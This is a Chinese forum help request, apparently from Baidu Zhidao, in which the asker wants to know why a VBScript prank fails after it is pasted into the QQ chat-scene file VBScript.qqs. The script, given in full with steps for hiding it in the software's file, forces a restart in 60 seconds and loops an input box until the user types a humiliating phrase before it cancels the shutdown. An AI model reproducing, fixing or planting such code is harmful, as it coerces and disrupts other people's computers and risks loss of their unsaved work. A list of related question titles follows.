帮我看看这个VBS脚本为什么不能用啊？

我想把这个脚本加到xx（企鹅）软件的聊天场景（百度说我有广告内容，都知道是哪个软件把~~）的VBScript.qqs文件中，可无论怎样就是不行的，不知道错在哪啊？具体如下的：
打开VBScript.qqs （下载xx聊天场景后安装，路径是X:\qq2008\IMScene\Scene 里），开头加上On Error Resume Next 这个语句，再向下找到 End Sub 在其下添加已下代码：

dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试……"" ",0,true
dim a
do while(a <> "我是XX，大哥我真的是XX啊!")
a = inputbox ("说我是XX，就不关机，快说，说 ""我是XX，大哥我真的是XX啊!"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox "你终于承认了啊!感叹中……",vbinformation,"真听话啊!"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0,true
msgbox "哈哈，我也看你像XX~!",vbinformation,"同感啊~~!!"<

帮我看看这个脚本 我的VBS脚本文件为什么打不开？ 大家看看，为什么我的这个vbs打不开？（附图） 讲讲vbs，我有一个vbs脚本，看看啥意思，哪个能改？？ 高手帮我写个VBS脚本 挺简单的 帮我看看这个球为什么不越位 哪位高手来帮我看看这个简单的vbs代码！ 帮我看下这个按键脚本为什么不动 VBS脚本是什么意思?经常看到VBS这个符号，什么意思？ 这个VBS脚本怎么错了